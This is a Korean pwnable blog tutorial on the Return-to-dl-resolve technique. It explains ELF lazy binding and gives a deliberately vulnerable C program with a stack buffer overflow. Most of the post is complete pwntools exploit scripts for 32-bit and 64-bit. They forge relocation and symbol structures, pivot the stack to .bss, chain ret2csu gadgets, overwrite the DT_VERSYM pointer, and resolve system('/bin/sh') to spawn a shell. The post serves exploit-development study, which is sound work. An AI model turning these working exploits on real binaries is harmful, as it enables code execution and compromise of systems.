hacking/pwnable

Return to dl-resolve

hogbal 2023. 5. 31. 15:36

Return to dl-resolve 기법이란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding을 사용할 경우 활용이 가능한 기법이다.

 

Lazy binding

 

Lazy Binding

Lazy Binding이란 Dynamic Linking 방식으로 컴파일된 ELF 바이너리는 공유 라이브러리에 있는 함수의 주소를 동적으로 가져오기 위해 사용하는 방법이다. 이때 GOT(Global Offset Table) 테이블을 이용하게 된

hogbal.tistory.com

Lazy binding을 위해 다음과 같이 함수가 호출된다.

  • _dl_runtime_resolve() -> _dl_fixup() -> _dl_lookup_symbol_x() -> do_lookup_x() -> check_match()
  • x86과 x64 바이너리의 동작은 동일하다.

Proof of concept

즉, Lazy binding은 찾고자 하는 함수의 이름을 이용하여 동적 라이브러리에서 해당 함수의 코드 영역을 찾는다. 따라서, Return to dl-resolve 기법은 다음과 같은 방식으로 원하는 함수를 호출한다.

32bit

다음과 같은 코드가 있다고 생각해 보자.

//gcc -fno-stack-protector -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
  
void vuln(){
    char buf[50];
    read(0, buf, 512);
}
  
void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}
  • 메모리 영역에 "Fake struct Elf32_Rel", "Fake struct Elf32_Sym" 구조체, "찾고자 하는 함수의 명"을 저장한다.
  • "reloc_offset"을 이용하여 "Fake struct Elf32_Rel" 영역에 접근한다.
  • "Fake struct Elf32_Rel"를 이용하여 "Fake struct Elf32_Sym" 영역에 접근한다.
  • "Elf32_Sym->st_name"을 이용하여 앞에서 저장한 함수 명을 가리키도록 한다.

Return to dl-resolve

  • Elf32_Rel
#define ELF32_R_SYM(val)                ((val) >> 8)
#define ELF32_R_TYPE(val)                ((val) & 0xff)

typedef uint32_t Elf32_Word;
typedef uint32_t Elf32_Addr;
 
 
/* Relocation table entry without addend (in section of type SHT_REL).  */
typedef struct
{
  Elf32_Addr        r_offset;                /* Address */
  Elf32_Word        r_info;                        /* Relocation type and symbol index */
} Elf32_Rel;
  • Elf32_Sym;
typedef uint16_t Elf32_Section;
 
 
/* Symbol table entry.  */
typedef struct
{
  Elf32_Word        st_name;                /* Symbol name (string tbl index) */
  Elf32_Addr        st_value;                /* Symbol value */
  Elf32_Word        st_size;                /* Symbol size */
  unsigned char        st_info;                /* Symbol type and binding */
  unsigned char        st_other;                /* Symbol visibility */
  Elf32_Section        st_shndx;                /* Section index */
} Elf32_Sym;

FAKE reloc_arg, Fake Elf32_Rel, Fake Elf32_Sym

다음과 같이 Fake 정보 영역을 확보한다.

  • addr_fake_reloc 영역은 base_stage + 20에 위치한다.
    • base_stage ~ base_stage + 20 영역에는 addr_plt, fake_reloc_offset, tmp date, addr_fake_cmd 등의 정보가 저장된다.
  • addr_fake_sym 영역은 addr_fake_reloc에 Elf32_Rel 구조체 크기(8)를 더한 곳에 위치한다.
  • addr_fake_symstr 영역은 addr_fake_sym에서 Elf32_Sym 구조체 크기(16)를 더한 곳에 위치한다.
  • addr_fake_cmd 영역은 addr_fake_symstr에서 문자열 "system\x00" 크기(7)를 더한 곳에 위치한다.

다음과 같이 Fake Elf32_Rel, Fake Elf32_Sym에 필요한 정보를 생성한다.

  • addr_fake_reloc 값에서 addr_relplt 값을 빼서 fake_reloc_offest 값을 생성한다.
  • fake_r_info 값은 다음과 같이 생성한다.
    • addr_fake_sym 값에서 addr_dynsym 값을 뺀 값에 구조체의 크기(16)를 곱한다.
    • ELF32_R_TYPE 영역을 초기화 하기 위해 해당 값에 ~0xFF(-256)를 AND 연산한다.
    • ELF32_R_TYPE 값을 저장하기 위해 OR 연산을 이용해 해당 영역에 0x7을 저장한다.
  • addr_fake_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성한다.
stack_size = 0x300
base_stage = addr_bss + stack_size
 
addr_fake_reloc  = base_stage + 20
addr_fake_sym    = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym +16
addr_fake_cmd    = addr_fake_symstr +7
  
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info       = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF    #FAKE ELF32_R_SYM
fake_r_info   = fake_r_info | 0x7                   #FAKE ELF32_R_TYPE
fake_st_name      = addr_fake_symstr - addr_dynstr

Move to ".bss"(Change the value of the esp register)

vuln() 함수의 취약성을 이용해 ".bss" 영역에 2번째 ROP 코드를 저장한 후에 ".bss" 영역으로 이동하기 위해 다음과 같은 ROP 코드를 작성한다.

  • "pop ebp; ret" Gadget을 이용하여 base_stage 값을 ebp 레지스터에 저장한다.
  • "leave; ret" Gadget을 이용해 코드의 흐름을 Stack 영역에서 ".bss" 영역으로 변경한다.
    • "leave;" 명령어를 이용하여 ebp 레지스터에 저장된 값을 esp에 저장한다.
    • "ret;" 명령어를 통해 esp 레지스터에 저장된 주소(Gadbase_stage + 0x4)로 이동한다.
#read(0,base_stage,100)
#jmp base_stage
buf1 = 'A'* 62
buf1 += p32(addr_plt_read)
buf1 += p32(addr_pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(addr_pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(addr_leave_ret)

Return to dl-resolve

".bss" 영역에 다음과 같이 Data를 저장한다.

buf2 = 'AAAA'
buf2 += p32(addr_plt)
buf2 += p32(fake_reloc_offset)
buf2 += 'BBBB'
#Argument of the function
buf2 += p32(addr_fake_cmd)
#Fake Elf32_Rel
buf2 += p32(addr_got_read)
buf2 += p32(fake_r_info)
#Fake Elf32_Sym
buf2 += p32(fake_st_name)
buf2 += p32(0)
buf2 += p32(0)
buf2 += p32(0x12)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'

Exploit code

from pwn import *
from struct import *
   
#context.log_level = 'debug'
elf = ELF('./rop')
  
# get section address
addr_dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt     = elf.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt        = elf.get_section_by_name('.plt').header['sh_addr']
addr_bss        = elf.get_section_by_name('.bss').header['sh_addr']
addr_plt_read   = elf.plt['read']
addr_got_read   = elf.got['read']
 
log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rel.plt : ' + hex(addr_relplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@plt : ' + hex(addr_plt_read))
log.info('read@got : ' + hex(addr_got_read))
  
addr_pop3 = 0x080484e9
addr_pop_ebp = 0x080484eb
addr_leave_ret = 0x080483a8
 
stack_size = 0x300
base_stage = addr_bss + stack_size
 
#read(0,base_stage,100)
#jmp base_stage
buf1 = 'A'* 62
buf1 += p32(addr_plt_read)
buf1 += p32(addr_pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(addr_pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(addr_leave_ret)
  
addr_fake_reloc  = base_stage + 20
addr_fake_sym    = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym +16
addr_fake_cmd    = addr_fake_symstr +7
  
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info       = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF    #FAKE ELF32_R_SYM
fake_r_info   = fake_r_info | 0x7                                   #FAKE ELF32_R_TYPE
fake_st_name      = addr_fake_symstr - addr_dynstr
 
log.info('')
log.info('Fake Struct Information')
log.info('fake_reloc_offset : ' + hex(fake_reloc_offset))
log.info('addr_fake_cmd   : ' + hex(addr_fake_cmd))
log.info('addr_got_read   : ' + hex(addr_got_read))
log.info('fake_r_info   : ' + hex(fake_r_info))
log.info('fake_st_name   : ' + hex(fake_st_name))
 
#_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
buf2 = 'AAAA'
buf2 += p32(addr_plt)
buf2 += p32(fake_reloc_offset)
buf2 += 'BBBB'
#Argument of the function
buf2 += p32(addr_fake_cmd)
#Fake Elf32_Rel
buf2 += p32(addr_got_read)
buf2 += p32(fake_r_info)
#Fake Elf32_Sym
buf2 += p32(fake_st_name)
buf2 += p32(0)
buf2 += p32(0)
buf2 += p32(0x12)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'
  
binary = ELF(elf.path)
p = process(binary.path)
p.recvn(10)
p.send(buf1)
p.send(buf2)
p.interactive()

64bit

다음과 같은 코드가 있다고 생각해보자.

//gcc -fno-stack-protector -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
  
void vuln(){
    char buf[50];
    read(0, buf, 512);
}
  
void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

x86과 x64의 차이점은 Elf32_Rel, Elf32_Sym 대신 Elf64_Rela, Elf64_Sym 구조를 사용하는 것이다.

  • Elf32_Rel 구조체의 크기(8 byte) -> Elf64_Real 구조체의 크기(24 byte)
  • Elf32_Sym 구초제의 크기(16 byte) -> Elf64_Sym 구조체의 크기(24 byte)

이로 인하여 reloc_offest 값이 주소의 offset 값이 아닌 Elf64_Rela 구조체의 배열 인덱스가 되어야 한다.

  • Elf64_Rela
typedef uint64_t Elf64_Addr;
typedef uint64_t Elf64_Xword;
typedef int64_t  Elf64_Sxword;
 
typedef struct
{
  Elf64_Addr        r_offset;                /* Address */
  Elf64_Xword        r_info;                        /* Relocation type and symbol index */
  Elf64_Sxword        r_addend;                /* Addend */
} Elf64_Rela;
  • Elf64_Sym
typedef uint32_t Elf64_Word;
typedef uint16_t Elf64_Section;
typedef uint64_t Elf64_Addr;
typedef uint64_t Elf64_Xword;
 
 
typedef struct
{
  Elf64_Word        st_name;                /* Symbol name (string tbl index) */4
  unsigned char        st_info;                /* Symbol type and binding */1
  unsigned char st_other;                /* Symbol visibility */1
  Elf64_Section        st_shndx;                /* Section index */2
  Elf64_Addr        st_value;                /* Symbol value */8
  Elf64_Xword        st_size;                /* Symbol size */8
} Elf64_Sym;

FAKE reloc_offset, Fake Elf64_Rela, Fake Elf64_Sym

다음과 같이 Fake 정보 영역을 확보한다.

  • addr_reloc 영역은 다음과 같이 계산된다.
    • addr_reloc의 기본 영역은 base_stabe + 8*26이다.
    • 구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행한다.
      • Elf64_Rela 구조체는 ".rela.plt" 영역에서 24byte씩 값을 증가시켜 위치를 찾는다.
    • base_stage ~ base_stage + 8*26 영역에는 return to csu Code가 저장된다.
  • addr_fake_sym 영역은 addr_reloc에 Elf64_Rela 구조체 크기(24 byte)를 더한 곳에 위치한다.
    • 구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행한다.
      • Elf64_Rela 구조체는 ".dynsym" 영역에서 24byte씩 값을 증가시켜 위치를 찾는다.
  • addr_fake_symstr 영역은 addr_fake_sym에서 Elf64_Sym 구조체 크기(24 byte)를 더한 곳에 위치한다.
  • addr_fake_cmd 영역은 addr_fake_symstr에서 문자열 "system\x00"(7 byte)를 더한 곳에 위치한다.

다음과 같이 Fake Elf32_64Rela, Fake Elf64_Sym에 필요한 정보를 생성한다.

  • addr_reloc 값에서 addr_relaplt 값을 빼서 나온 값에 Elf64_Rela 구조체 크기(24 byte)를 나누어서 fake_reloc_offset 값을 생성한다.
    • (addr_reloc - addr_relaplt) / 24
  • fake_r_info 값은 다음과 같이 생성한다.
    • addr_fake_sym 값에서 addr_dynsym 값을 뺀 값에 구조체의 크기(24 byte)를 나눈다.
    • ELF64_R_TYPE 영역을 초기화 하기 위해 해당 값에 32로 '<<' 연산한다.
    • ELF64_R_TYPE 값을 저장하기 위해 OR 연산을 이용하여 해당 영역에 0x7을 저장한다.
  • addr_fkae_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성한다.
stacksize = 0x600
base_stage = addr_bss + stacksize
 
...
 
addr_reloc = base_stage + 8*26
align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24)
addr_reloc += align_reloc
align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24)
 
addr_fake_sym = addr_reloc + 24
addr_fake_sym += align_dynsym
addr_fake_symstr = addr_fake_sym + 24
addr_fake_cmd = addr_fake_symstr + 7
 
fake_reloc_offset   = (addr_reloc - addr_relaplt) / 24
fake_r_info = (((addr_fake_sym - addr_dynsym) / 24) << 32)    #FAKE ELF32_R_SYM
fake_r_info = fake_r_info | 0x7                             #FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr

 

Return to dl-resolve

여기서 중요한 것은 "base_stage" 영역에 Write 권한이 있어야 한다.

  • 해당 영역에 쓰기권한이 없을 경우 _dl_lookup_symbol_x() 함수 처리 중 에러가 발생한다.
  • 예를 들어 "addr_bss"의 값이 "0x600a00"일 경우
    • "stacksize"의 값이 "0x400"이면 "base_stage"의 값이 "0x600e00"이기 때문에 값을 저장할 수 없다(r).
    • "stacksize"의 값이 "0x600"이면 "base_stage"의 값이 "0x601000"이기 때문에 값을 저장할 수 있다(rw).
gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00401000         r-xp  /home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00600000         0x00601000         r--p  /home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00601000         0x00602000         rw-p  /home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00007f63119e5000 0x00007f6311ba5000 r-xp  /lib/x86_64-linux-gnu/libc-2.23.so
...

if(l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)

해당 예시에서는 "l->l_info[VERSYMIDX(DT_VERSYM)]" 영역의 값을 0으로 overwrite 한다.

  • 해당 예시에서 해당 영역을 0으로 변경하지 않으면 에러가 발생함.
  • 해당 if문 안에 있는 코드들은 실행되지 않아도 Return to dl-resolve에 영향을 주지 않기 때문에 해당 값을 변경하여 우회한다.
const struct r_found_version *version = NULL;
 
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
    const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
        version = NULL;
}

Exploit code

from pwn import *
from struct import *
    
#context.log_level = 'debug'
elf = ELF('./rop')
  
# get section address
addr_dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relaplt     = elf.get_section_by_name('.rela.plt').header['sh_addr']
addr_plt        = elf.get_section_by_name('.plt').header['sh_addr']
addr_got    = elf.get_section_by_name('.got.plt').header['sh_addr']
addr_bss        = elf.get_section_by_name('.bss').header['sh_addr']
addr_got_read   = elf.got['read']
addr_got_write   = elf.got['write']
  
log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rela.plt : ' + hex(addr_relaplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.got     : ' + hex(addr_got))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@got : ' + hex(addr_got_read))
log.info('write@got : ' + hex(addr_got_write))
  
addr_csu_init1 = 0x40060a       #  
addr_csu_init2 = 0x4005f0       #  
addr_leave_ret = 0x00400585 # leave; ret
addr_ret = 0x00400419       # ret
   
stacksize = 0x600
base_stage = addr_bss + stacksize
  
#write(1,addr_got+8,8)
buf1 = 'A' * 72
buf1 += p64(addr_csu_init1)
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_write)
buf1 += p64(8)
buf1 += p64(addr_got+8)
buf1 += p64(1)
buf1 += p64(addr_csu_init2)
#read(0,base_stage,400)
buf1 += 'AAAAAAAA'
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_read)
buf1 += p64(400)
buf1 += p64(base_stage)
buf1 += p64(0)
buf1 += p64(addr_csu_init2)
#JMP base_stage + 8
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(base_stage)     # rbp
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(addr_leave_ret)
 
binary = ELF('./rop')
p = process(binary.path)
p.recvn(10) 
#sleep(20)
p.send(buf1)
 
#Get address of addr_dt_versym
addr_link_map = u64(p.read(8))
addr_dt_versym = addr_link_map + 0x1c8
 
addr_reloc = base_stage + 8*26
align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24)
addr_reloc += align_reloc
align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24)
 
addr_fake_sym = addr_reloc + 24
addr_fake_sym += align_dynsym
addr_fake_symstr = addr_fake_sym + 24
addr_fake_cmd = addr_fake_symstr + 7
 
fake_reloc_offset   = (addr_reloc - addr_relaplt) / 24
fake_r_info = (((addr_fake_sym - addr_dynsym) / 24) << 32)    #FAKE ELF32_R_SYM
fake_r_info = fake_r_info | 0x7                             #FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr
 
log.info('')
log.info('Fake Struct Information')
log.info('addr_csu_init1 :'+ hex(addr_csu_init1))
log.info('addr_got_read :'+ hex(addr_got_read))
log.info('addr_dt_versym :'+ hex(addr_dt_versym))
log.info('addr_csu_init2 :'+ hex(addr_csu_init2))
log.info('addr_ret :'+ hex(addr_ret))
log.info('base_stage + 8*9 :'+ hex(base_stage + 8*9))
log.info('addr_fake_cmd :'+hex(addr_fake_cmd))
  
#read(0,addr_dt_versym,8)
buf2 = 'AAAAAAAA'
buf2 += p64(addr_csu_init1)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(addr_got_read)
buf2 += p64(8)
buf2 += p64(addr_dt_versym)
buf2 += p64(0)
buf2 += p64(addr_csu_init2)
#Setting argument values of system() function
buf2 += p64(addr_ret)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(base_stage + 8*9)   #address of addr_csu_init2
buf2 += 'B' * 8
buf2 += 'B' * 8
buf2 += p64(addr_fake_cmd)  #"/bin/sh"
buf2 += p64(addr_csu_init2)
buf2 += 'C' * 0x38
#_dl_runtime_resolve(struct link_map *l, fake_reloc_offset)
buf2 += p64(addr_plt)
buf2 += p64(fake_reloc_offset)
buf2 += 'A' * align_reloc
# Elf64_Rela
buf2 += p64(addr_got_read)    
buf2 += p64(fake_r_info)
buf2 += p64(0)
buf2 += 'A' * align_dynsym
# Elf64_Sym
buf2 += p32(fake_st_name)          
buf2 += p32(0x12)
buf2 += p64(0)
buf2 += p64(0)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'
  
#sleep(10)
p.send(buf2)
#sleep(10)
p.send(p64(0))
p.interactive()

참고 사이트

 

01.Return-to-dl-resolve - x86 - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Return-to-dl-resolve - x86 Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니

www.lazenca.net

 

02.Return-to-dl-resolve - x64(feat.Return-to-csu) - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Return-to-dl-resolve - x64 Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니

www.lazenca.net